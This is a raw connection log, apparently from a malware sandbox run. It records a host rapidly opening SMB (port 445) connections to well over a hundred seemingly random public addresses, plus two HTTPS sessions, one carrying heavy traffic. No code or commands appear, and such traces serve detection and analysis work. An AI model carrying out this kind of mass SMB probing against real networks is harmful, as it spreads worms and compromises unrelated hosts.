Jul 20, 2022 19:08:44.385590076 CEST	52688	445	192.168.2.7	65.74.180.112
Jul 20, 2022 19:08:44.385839939 CEST	52690	445	192.168.2.7	26.160.173.40
Jul 20, 2022 19:08:44.401875973 CEST	52692	445	192.168.2.7	126.57.103.208
Jul 20, 2022 19:08:44.402009964 CEST	52693	445	192.168.2.7	129.252.136.66
Jul 20, 2022 19:08:44.402030945 CEST	52694	445	192.168.2.7	29.59.194.170
Jul 20, 2022 19:08:44.402189016 CEST	52695	445	192.168.2.7	114.175.85.165
Jul 20, 2022 19:08:44.402373075 CEST	52696	445	192.168.2.7	151.144.66.148
Jul 20, 2022 19:08:44.402396917 CEST	52698	445	192.168.2.7	160.22.41.27
Jul 20, 2022 19:08:44.402782917 CEST	52705	445	192.168.2.7	6.229.197.146
Jul 20, 2022 19:08:44.402873039 CEST	52708	445	192.168.2.7	165.247.53.52
Jul 20, 2022 19:08:44.402930021 CEST	52707	445	192.168.2.7	121.218.132.67
Jul 20, 2022 19:08:44.403418064 CEST	52709	445	192.168.2.7	78.117.24.113
Jul 20, 2022 19:08:44.403491020 CEST	52710	445	192.168.2.7	32.118.201.179
Jul 20, 2022 19:08:44.403567076 CEST	52711	445	192.168.2.7	112.194.114.202
Jul 20, 2022 19:08:44.403697014 CEST	52713	445	192.168.2.7	136.41.251.68
Jul 20, 2022 19:08:44.403801918 CEST	52714	445	192.168.2.7	190.116.239.143
Jul 20, 2022 19:08:44.409276962 CEST	52715	445	192.168.2.7	98.6.226.64
Jul 20, 2022 19:08:44.409720898 CEST	52717	445	192.168.2.7	84.231.60.163
Jul 20, 2022 19:08:44.410226107 CEST	52722	445	192.168.2.7	164.219.89.42
Jul 20, 2022 19:08:44.410334110 CEST	52724	445	192.168.2.7	57.28.248.111
Jul 20, 2022 19:08:44.410443068 CEST	52725	445	192.168.2.7	134.231.167.26
Jul 20, 2022 19:08:44.410532951 CEST	52726	445	192.168.2.7	132.178.192.126
Jul 20, 2022 19:08:44.413430929 CEST	52730	445	192.168.2.7	181.35.97.191
Jul 20, 2022 19:08:44.413625956 CEST	52728	445	192.168.2.7	122.251.213.218
Jul 20, 2022 19:08:45.206250906 CEST	52736	445	192.168.2.7	135.98.95.18
Jul 20, 2022 19:08:45.425792933 CEST	52737	445	192.168.2.7	7.102.167.239
Jul 20, 2022 19:08:45.426366091 CEST	52738	445	192.168.2.7	161.81.176.28
Jul 20, 2022 19:08:45.426924944 CEST	52739	445	192.168.2.7	68.233.95.14
Jul 20, 2022 19:08:45.427388906 CEST	52740	445	192.168.2.7	186.108.157.118
Jul 20, 2022 19:08:45.487077951 CEST	52741	445	192.168.2.7	113.234.32.191
Jul 20, 2022 19:08:45.487682104 CEST	52742	445	192.168.2.7	50.112.156.215
Jul 20, 2022 19:08:45.488219023 CEST	52743	445	192.168.2.7	35.177.15.18
Jul 20, 2022 19:08:45.490185022 CEST	52745	445	192.168.2.7	60.34.231.161
Jul 20, 2022 19:08:45.518579006 CEST	52747	445	192.168.2.7	202.70.203.221
Jul 20, 2022 19:08:45.521974087 CEST	52754	445	192.168.2.7	87.61.83.250
Jul 20, 2022 19:08:45.523037910 CEST	52756	445	192.168.2.7	95.104.163.225
Jul 20, 2022 19:08:45.523566961 CEST	52757	445	192.168.2.7	144.206.176.169
Jul 20, 2022 19:08:45.524132013 CEST	52758	445	192.168.2.7	79.72.61.189
Jul 20, 2022 19:08:45.524703026 CEST	52759	445	192.168.2.7	177.237.158.177
Jul 20, 2022 19:08:45.525218010 CEST	52760	445	192.168.2.7	44.116.104.101
Jul 20, 2022 19:08:45.526736021 CEST	52762	445	192.168.2.7	217.211.224.79
Jul 20, 2022 19:08:45.527740002 CEST	52764	445	192.168.2.7	31.7.59.215
Jul 20, 2022 19:08:45.528250933 CEST	52765	445	192.168.2.7	103.231.230.44
Jul 20, 2022 19:08:45.528808117 CEST	52766	445	192.168.2.7	114.183.239.223
Jul 20, 2022 19:08:45.529366970 CEST	52767	445	192.168.2.7	187.72.41.205
Jul 20, 2022 19:08:45.529886007 CEST	52768	445	192.168.2.7	26.97.205.42
Jul 20, 2022 19:08:45.530424118 CEST	52769	445	192.168.2.7	173.247.179.76
Jul 20, 2022 19:08:45.533807993 CEST	52770	445	192.168.2.7	203.10.53.77
Jul 20, 2022 19:08:45.534877062 CEST	52772	445	192.168.2.7	192.109.92.57
Jul 20, 2022 19:08:45.537591934 CEST	52777	445	192.168.2.7	42.19.197.139
Jul 20, 2022 19:08:45.547137022 CEST	52779	445	192.168.2.7	77.207.155.242
Jul 20, 2022 19:08:45.547293901 CEST	52780	445	192.168.2.7	174.131.244.12
Jul 20, 2022 19:08:45.547341108 CEST	52781	445	192.168.2.7	81.170.204.96
Jul 20, 2022 19:08:45.547486067 CEST	52784	445	192.168.2.7	143.46.226.116
Jul 20, 2022 19:08:45.547589064 CEST	52785	445	192.168.2.7	6.136.122.51
Jul 20, 2022 19:08:46.359150887 CEST	52791	445	192.168.2.7	93.162.70.28
Jul 20, 2022 19:08:46.551310062 CEST	52793	445	192.168.2.7	212.152.109.48
Jul 20, 2022 19:08:46.551320076 CEST	52794	445	192.168.2.7	10.219.186.103
Jul 20, 2022 19:08:46.551390886 CEST	52796	445	192.168.2.7	114.2.235.203
Jul 20, 2022 19:08:46.551408052 CEST	52795	445	192.168.2.7	171.57.109.59
Jul 20, 2022 19:08:46.613809109 CEST	52797	445	192.168.2.7	169.54.58.244
Jul 20, 2022 19:08:46.616167068 CEST	52798	445	192.168.2.7	181.179.38.192
Jul 20, 2022 19:08:46.617238998 CEST	52799	445	192.168.2.7	33.171.201.165
Jul 20, 2022 19:08:46.618496895 CEST	52801	445	192.168.2.7	66.246.217.22
Jul 20, 2022 19:08:46.654566050 CEST	52802	445	192.168.2.7	206.60.147.162
Jul 20, 2022 19:08:46.655581951 CEST	52803	445	192.168.2.7	192.57.113.191
Jul 20, 2022 19:08:46.671622038 CEST	52804	445	192.168.2.7	77.211.226.149
Jul 20, 2022 19:08:46.672506094 CEST	52812	445	192.168.2.7	22.210.80.217
Jul 20, 2022 19:08:46.672665119 CEST	52814	445	192.168.2.7	216.150.186.182
Jul 20, 2022 19:08:46.672714949 CEST	52815	445	192.168.2.7	137.202.104.32
Jul 20, 2022 19:08:46.672775030 CEST	52816	445	192.168.2.7	39.177.104.102
Jul 20, 2022 19:08:46.672882080 CEST	52818	445	192.168.2.7	70.229.78.205
Jul 20, 2022 19:08:46.672895908 CEST	52817	445	192.168.2.7	169.121.143.23
Jul 20, 2022 19:08:46.673024893 CEST	52819	445	192.168.2.7	13.83.248.228
Jul 20, 2022 19:08:46.673147917 CEST	52823	445	192.168.2.7	169.69.75.46
Jul 20, 2022 19:08:46.673154116 CEST	52822	445	192.168.2.7	197.34.206.203
Jul 20, 2022 19:08:46.673244953 CEST	52824	445	192.168.2.7	120.32.100.27
Jul 20, 2022 19:08:46.673274040 CEST	52825	445	192.168.2.7	41.123.193.247
Jul 20, 2022 19:08:46.673638105 CEST	52831	445	192.168.2.7	88.159.185.114
Jul 20, 2022 19:08:46.673654079 CEST	52830	445	192.168.2.7	112.199.139.202
Jul 20, 2022 19:08:46.673743963 CEST	52832	445	192.168.2.7	56.196.102.247
Jul 20, 2022 19:08:46.673877001 CEST	52836	445	192.168.2.7	133.103.130.252
Jul 20, 2022 19:08:46.673914909 CEST	52837	445	192.168.2.7	173.174.211.171
Jul 20, 2022 19:08:46.674046993 CEST	52840	445	192.168.2.7	118.113.99.170
Jul 20, 2022 19:08:46.674062967 CEST	52841	445	192.168.2.7	144.73.144.76
Jul 20, 2022 19:08:46.771783113 CEST	445	52822	197.34.206.203	192.168.2.7
Jul 20, 2022 19:08:47.439127922 CEST	52822	445	192.168.2.7	197.34.206.203
Jul 20, 2022 19:08:47.472682953 CEST	52847	445	192.168.2.7	23.175.39.227
Jul 20, 2022 19:08:47.537478924 CEST	445	52822	197.34.206.203	192.168.2.7
Jul 20, 2022 19:08:47.660872936 CEST	52849	445	192.168.2.7	7.52.168.136
Jul 20, 2022 19:08:47.661786079 CEST	52850	445	192.168.2.7	118.44.224.172
Jul 20, 2022 19:08:47.662580967 CEST	52851	445	192.168.2.7	75.79.76.208
Jul 20, 2022 19:08:47.663295031 CEST	52852	445	192.168.2.7	210.216.46.246
Jul 20, 2022 19:08:47.737159967 CEST	52853	445	192.168.2.7	75.19.4.201
Jul 20, 2022 19:08:47.738471985 CEST	52854	445	192.168.2.7	93.90.164.31
Jul 20, 2022 19:08:47.739247084 CEST	52855	445	192.168.2.7	94.123.176.155
Jul 20, 2022 19:08:47.739825010 CEST	52856	445	192.168.2.7	208.174.62.99
Jul 20, 2022 19:08:47.768578053 CEST	52858	445	192.168.2.7	15.243.10.122
Jul 20, 2022 19:08:47.769376040 CEST	52859	445	192.168.2.7	144.192.40.140
Jul 20, 2022 19:08:47.776575089 CEST	445	52854	93.90.164.31	192.168.2.7
Jul 20, 2022 19:08:47.784538984 CEST	52860	445	192.168.2.7	174.99.156.112
Jul 20, 2022 19:08:47.789613962 CEST	52867	445	192.168.2.7	116.172.152.61
Jul 20, 2022 19:08:47.791903019 CEST	52870	445	192.168.2.7	42.22.237.239
Jul 20, 2022 19:08:47.810996056 CEST	52871	445	192.168.2.7	143.230.0.208
Jul 20, 2022 19:08:47.811897039 CEST	52872	445	192.168.2.7	124.212.68.45
Jul 20, 2022 19:08:47.812623024 CEST	52873	445	192.168.2.7	32.3.121.96
Jul 20, 2022 19:08:47.842017889 CEST	52876	445	192.168.2.7	128.193.149.244
Jul 20, 2022 19:08:47.842261076 CEST	52877	445	192.168.2.7	170.7.166.43
Jul 20, 2022 19:08:47.842720985 CEST	52878	445	192.168.2.7	150.67.78.204
Jul 20, 2022 19:08:47.842755079 CEST	52879	445	192.168.2.7	182.160.128.179
Jul 20, 2022 19:08:47.842869997 CEST	52880	445	192.168.2.7	200.124.151.130
Jul 20, 2022 19:08:47.842941999 CEST	52881	445	192.168.2.7	103.12.55.104
Jul 20, 2022 19:08:47.843122005 CEST	52885	445	192.168.2.7	24.67.18.28
Jul 20, 2022 19:08:47.843178034 CEST	52887	445	192.168.2.7	202.82.228.201
Jul 20, 2022 19:08:47.843202114 CEST	52888	445	192.168.2.7	207.142.39.24
Jul 20, 2022 19:08:47.843271017 CEST	52889	445	192.168.2.7	141.125.231.204
Jul 20, 2022 19:08:47.843374968 CEST	52892	445	192.168.2.7	14.11.63.96
Jul 20, 2022 19:08:47.843375921 CEST	52893	445	192.168.2.7	126.245.98.232
Jul 20, 2022 19:08:47.843486071 CEST	52896	445	192.168.2.7	212.189.45.194
Jul 20, 2022 19:08:47.843509912 CEST	52897	445	192.168.2.7	206.250.43.16
Jul 20, 2022 19:08:47.883153915 CEST	52900	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:08:47.883203983 CEST	443	52900	20.199.120.85	192.168.2.7
Jul 20, 2022 19:08:47.883330107 CEST	52900	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:08:47.884408951 CEST	52900	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:08:47.884449959 CEST	443	52900	20.199.120.85	192.168.2.7
Jul 20, 2022 19:08:47.974581957 CEST	443	52900	20.199.120.85	192.168.2.7
Jul 20, 2022 19:08:47.974772930 CEST	52900	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:08:47.978610992 CEST	52900	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:08:47.978627920 CEST	443	52900	20.199.120.85	192.168.2.7
Jul 20, 2022 19:08:47.978879929 CEST	443	52900	20.199.120.85	192.168.2.7
Jul 20, 2022 19:08:47.984503984 CEST	52900	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:08:47.984806061 CEST	52900	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:08:47.984822989 CEST	443	52900	20.199.120.85	192.168.2.7
Jul 20, 2022 19:08:47.985048056 CEST	52900	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:08:48.011944056 CEST	443	52900	20.199.120.85	192.168.2.7
Jul 20, 2022 19:08:48.012027025 CEST	443	52900	20.199.120.85	192.168.2.7
Jul 20, 2022 19:08:48.012094975 CEST	52900	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:08:48.012341976 CEST	52900	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:08:48.012368917 CEST	443	52900	20.199.120.85	192.168.2.7
Jul 20, 2022 19:08:48.423631907 CEST	52854	445	192.168.2.7	93.90.164.31
Jul 20, 2022 19:08:48.458859921 CEST	445	52854	93.90.164.31	192.168.2.7
Jul 20, 2022 19:08:48.597287893 CEST	52905	445	192.168.2.7	33.10.49.122
Jul 20, 2022 19:08:48.785279036 CEST	52907	445	192.168.2.7	60.170.121.94
Jul 20, 2022 19:08:48.786263943 CEST	52908	445	192.168.2.7	59.66.179.68
Jul 20, 2022 19:08:48.786279917 CEST	52910	445	192.168.2.7	194.188.152.245
Jul 20, 2022 19:08:48.786324978 CEST	52909	445	192.168.2.7	181.158.12.85
Jul 20, 2022 19:08:48.876317024 CEST	52912	445	192.168.2.7	144.99.144.66
Jul 20, 2022 19:08:48.879755974 CEST	52913	445	192.168.2.7	192.27.173.160
Jul 20, 2022 19:08:48.880671978 CEST	52914	445	192.168.2.7	178.7.172.107
Jul 20, 2022 19:08:48.881519079 CEST	52915	445	192.168.2.7	43.51.41.135
Jul 20, 2022 19:08:48.893444061 CEST	52916	445	192.168.2.7	42.122.2.224
Jul 20, 2022 19:08:48.894463062 CEST	52917	445	192.168.2.7	7.132.98.92
Jul 20, 2022 19:08:48.912913084 CEST	52918	445	192.168.2.7	195.77.85.214
Jul 20, 2022 19:08:48.913616896 CEST	52925	445	192.168.2.7	41.92.201.190
Jul 20, 2022 19:08:48.913763046 CEST	52928	445	192.168.2.7	1.50.208.203
Jul 20, 2022 19:08:48.925831079 CEST	52931	445	192.168.2.7	133.21.121.218
Jul 20, 2022 19:08:48.925951958 CEST	52930	445	192.168.2.7	142.134.247.174
Jul 20, 2022 19:08:48.926002026 CEST	52932	445	192.168.2.7	124.52.40.47
Jul 20, 2022 19:08:48.956623077 CEST	52935	445	192.168.2.7	100.171.108.48
Jul 20, 2022 19:08:48.957195044 CEST	52936	445	192.168.2.7	98.23.238.12
Jul 20, 2022 19:08:48.958683014 CEST	52939	445	192.168.2.7	147.172.91.254
Jul 20, 2022 19:08:48.959235907 CEST	52940	445	192.168.2.7	18.178.32.102
Jul 20, 2022 19:08:48.961414099 CEST	52943	445	192.168.2.7	192.67.232.83
Jul 20, 2022 19:08:48.962251902 CEST	52944	445	192.168.2.7	60.219.45.150
Jul 20, 2022 19:08:48.966605902 CEST	52945	445	192.168.2.7	145.108.231.135
Jul 20, 2022 19:08:48.968187094 CEST	52947	445	192.168.2.7	15.203.18.199
Jul 20, 2022 19:08:48.972148895 CEST	52950	445	192.168.2.7	24.21.72.158
Jul 20, 2022 19:08:48.973798037 CEST	52952	445	192.168.2.7	59.40.110.117
Jul 20, 2022 19:08:48.974728107 CEST	52953	445	192.168.2.7	2.102.69.43
Jul 20, 2022 19:08:48.975433111 CEST	52954	445	192.168.2.7	165.161.74.247
Jul 20, 2022 19:08:48.976070881 CEST	52955	445	192.168.2.7	170.177.72.22
Jul 20, 2022 19:08:48.976713896 CEST	52956	445	192.168.2.7	138.188.141.32
Jul 20, 2022 19:08:49.122634888 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:49.122692108 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:49.122857094 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:49.124747992 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:49.124778032 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:49.159547091 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:49.159646988 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:49.160516977 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:49.165184975 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:49.165288925 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:49.289752960 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:49.289781094 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:49.289802074 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:49.289858103 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:49.289927006 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:49.289941072 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:49.290013075 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:49.291183949 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:49.291213989 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:49.291253090 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:49.291328907 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:49.291351080 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:49.291388988 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:49.291433096 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:49.293133974 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:49.293160915 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:49.293281078 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:49.293303967 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:49.293355942 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:49.305927038 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:49.305951118 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:49.306060076 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:49.306086063 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:49.306140900 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:49.306241035 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:49.306312084 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:49.308949947 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:49.308973074 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:49.309158087 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:49.309185028 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:49.309233904 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:49.309840918 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:49.309863091 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:49.309988022 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:49.310007095 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:49.310061932 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:49.321841955 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:49.321964025 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:49.324696064 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:49.324740887 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:49.324822903 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:49.324892044 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:49.324918032 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:49.324965000 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:49.325014114 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:49.325373888 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:49.325460911 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:49.326631069 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:49.326670885 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:49.326739073 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:49.326759100 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:49.326776028 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:49.326806068 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:49.328300953 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:49.328345060 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:49.328469992 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:49.328500032 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:49.328546047 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:49.329302073 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:49.329413891 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:49.330343008 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:49.330374956 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:49.330440044 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:49.330461979 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:49.330492020 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:49.330513000 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:49.338618040 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:49.338649035 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:49.338864088 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:49.338903904 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:49.338984013 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:49.339535952 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:49.339668036 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:49.340606928 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:49.340641022 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:49.340775013 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:49.340796947 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:49.340881109 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:49.343173981 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:49.343208075 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:49.343255043 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:49.343342066 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:49.343367100 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:49.343413115 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:49.343445063 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:49.344202995 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:49.344237089 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:49.344337940 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:49.344347954 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:49.344409943 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:49.344434023 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:49.345072985 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:49.345103025 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:49.345179081 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:49.345191002 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:49.345252037 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:49.345861912 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:49.346007109 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:49.347362041 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:49.347398996 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:49.347543001 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:49.347562075 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:49.347685099 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:49.348269939 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:49.348300934 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:49.348368883 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:49.348388910 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:49.348422050 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:49.348452091 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:49.348609924 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:49.348702908 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:49.349634886 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:49.349666119 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:49.349724054 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:49.349744081 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:49.349770069 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:49.349792957 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:49.350802898 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:49.350832939 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:49.350915909 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:49.350934029 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:49.350964069 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:49.350972891 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:49.351696014 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:49.351790905 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:49.352637053 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:49.352673054 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:49.352786064 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:49.352804899 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:49.352828979 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:49.352854967 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:49.353526115 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:49.353559017 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:49.353635073 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:49.353652000 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:49.353745937 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:49.354388952 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:49.354502916 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:49.355309010 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:49.355339050 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:49.355401039 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:49.355418921 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:49.355448008 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:49.355473995 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:49.355987072 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:49.356020927 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:49.356089115 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:49.356097937 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:49.356117010 CEST	443	52958	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:49.356132984 CEST	52958	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:49.356170893 CEST	52958	443	192.168.2.7	80.67.82.211
